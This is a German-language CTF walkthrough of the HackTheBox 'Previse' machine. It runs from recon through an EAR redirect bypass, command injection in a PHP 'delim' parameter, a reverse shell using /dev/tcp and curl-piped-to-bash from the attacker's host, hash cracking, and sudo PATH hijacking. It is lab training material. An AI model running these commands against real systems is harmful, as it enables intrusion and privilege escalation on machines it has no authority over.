> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Previse HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Web-Aufzählung
* Execution After Redirect (EAR)-Schwachstelle – Überspringen von Weiterleitungen
* Analyse des PHP-Quellcodes
* Befehlsinjektion (RCE)
* Informationsleck
* Datenbank-Enumerierung
* Hashes knacken
* Ausnutzen von Sudoers-Rechten + PATH Hijacking (Privilege Escalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/34942981b10c257d6ab060d341e031970da4c9a6" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/b5d8cb66ed0410f1c93010429d08c160dacf4d39" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="/files/4cfa66990c8cfa6899a42533aa4c5af507acd0fb" alt=""><figcaption></figcaption></figure>

**Versionsscan der Ports mit Nmap 22.80:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="/files/cd546fa14d08c7d917abfbb6ad56c2369ea07268" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

Wir finden eine Login-Seite, die einen Benutzernamen und ein Passwort verlangt.

<figure><img src="/files/1bb9eb705ba7f97cb240e0a2dbdfad2e53c6e420" alt=""><figcaption></figcaption></figure>

### **Fuzzing von PHP-Verzeichnissen und -Dateien**

Aufgrund der Präsenz einer PHP-Datei ist es wahrscheinlich, dass es weitere gibt:

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **Schwachstelle EAR (Execution After Redirect) – Weiterleitungen umgehen**

Wir finden mehrere Seiten mit Inhalt, die aber zur Login-Seite weiterleiten.

<figure><img src="/files/4f92ee31162569cf6a40afdf3e1db0370b8f3ef7" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfrage bei `nav.php` mit Burp Suite ab und beobachten eine 302-Weiterleitung.

<figure><img src="/files/fa0bb9b12622ed6a9f1cf0a9b57f0679c9f05d53" alt=""><figcaption></figcaption></figure>

Indem wir die Antwort auf `200 OK`, gehen wir direkt zu `accounts` Seite.

<figure><img src="/files/f48d046ee2702245f0f23fbe35115a380d072880" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/660408cca801fcf9e033fb0d495aad2b9207e279" alt=""><figcaption></figcaption></figure>

Wir erstellen in Burp Suite eine Regel, um automatisch `302 Found` Antworten zu `200 OK`.

<figure><img src="/files/e162880f30465c20abdb29248390203de5c4f994" alt=""><figcaption></figcaption></figure>

Wir erstellen dann einen Benutzer `jordan` und melden uns an.

<figure><img src="/files/956126bd18d648c763afef0c3a287cc7dfe658ce" alt=""><figcaption></figcaption></figure>

### **Analyse der wiederhergestellten Dateien**

Wir laden eine Datei herunter, die auf `/files`:

<figure><img src="/files/d5f7418e027ade1487d4f8ed5db22c25fc56f46b" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="/files/279489d30e3ab88456e6961ce63d87ea62acbbf2" alt=""><figcaption></figcaption></figure>

Wir finden mehrere PHP-Dateien und stellen fest, dass `logs.php` die `exec()` Funktion ohne jegliche Validierung verwendet:

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="/files/88c49668e55bdbc6613492a78897981af3bafd4d" alt=""><figcaption></figcaption></figure>

### **Ausnutzung der Befehlsinjektion (RCE)**

<figure><img src="/files/08a724ab35c23460bfb9889ab54aa570f7a5f717" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfrage an `file_logs.php` und injizieren einen Befehl über den `delim` Parameter anfällig für Open Redirect ist:

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

Wir erhalten eine Verbindung.

<figure><img src="/files/826d9d8c62517e2458fcc2b6f94de75d53c108ac" alt=""><figcaption></figcaption></figure>

### Reverse Shell

Wir erstellen einen `index.html` Datei mit:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Wir starten einen Python-Webserver:

```bash
python3 -m http.server 80
```

Wir lauschen auf unserer Maschine auf Port 443:

```bash
nc -nlvp 443
```

Wir führen den folgenden Befehl aus, um die Reverse Shell wiederherzustellen:

```bash
;curl http://10.10.14.50  | bash
```

Wir sind nun Benutzer `www-data`.

<figure><img src="/files/b950de2071b25a7ba5614b4ee8c6a508f7f03dae" alt=""><figcaption></figcaption></figure>

#### **Verbesserung der Shell**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **Privilegieneskalation**

### Wechsel zu Benutzer m4lwhere

Wir finden eine Datei mit Anmeldedaten:

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="/files/854732311e1156960fc4b27af9c5b40c007f0e08" alt=""><figcaption></figcaption></figure>

Wir verbinden uns mit der MySQL-Datenbank:

```sql
mysql -u root -p
```

Wir listen die Datenbanken auf:

```sql
show databases;
```

Wir finden die Datenbank `previse`, die wir verwenden:

```sql
use previse;
```

<figure><img src="/files/b96855f5b860c73f6e4862c42b96495b12ada722" alt=""><figcaption></figcaption></figure>

Wir untersuchen die `accounts` Tabelle:

```sql
show tables;
describe accounts
```

<figure><img src="/files/7bc10f42b553c146329dbb10f345246a48b4809b" alt=""><figcaption></figcaption></figure>

Wir finden:

```sql
select username, password from accounts;
```

* username: m4lwhere
* password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="/files/c4794e7c1add0ee0da5a673edb10ba2ca17cbc8d" alt="" width="563"><figcaption></figcaption></figure>

### **Hash-Knacken**

Wir verwenden Hashcat, um es zu entschlüsseln:

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

Gefundenes Passwort:

* passwort : ilovecody112235!

<figure><img src="/files/c9de997f0d4beb6fa0343dd131dcaa1fb733a243" alt=""><figcaption></figcaption></figure>

Wir melden uns an als `m4lwhere`.

<figure><img src="/files/9ff4784ad97601d98d763056aefe904a224a0bc0" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/feaf6dc278bd2bbcf68494e82306d23ae49eda3c" alt="" width="563"><figcaption></figcaption></figure>

### **PATH-Hijacking (gzip)**

Wir listen die sudo-Berechtigungen auf:

```bash
sudo -l
```

Wir finden ein Skript, das als root ausführbar ist, mithilfe von `gzip` ohne absoluten Pfad.

<figure><img src="/files/9dc03b987415f74ad443174391cface680610c76" alt=""><figcaption></figcaption></figure>

#### **Erstellen einer bösartigen Binärdatei**

Wir erstellen eine bösartige `gzip` Datei in `/tmp/`:

```bash
chmod 4777 /bin/bash
```

Wir ändern die `PATH` Variable, die priorisiert werden soll `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/cc56dc31392dbfe69c734738eebbd6f4a978730c" alt=""><figcaption></figcaption></figure>

Wir führen das Skript als root aus:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/ae2ecb9b0ab259509c11ec68d2b1dd73faedc11a" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/0565877de7da84182020b3819630e88ef5a4dec1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/365a81ba179f7ef9755c1206a27cac3431d968d0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
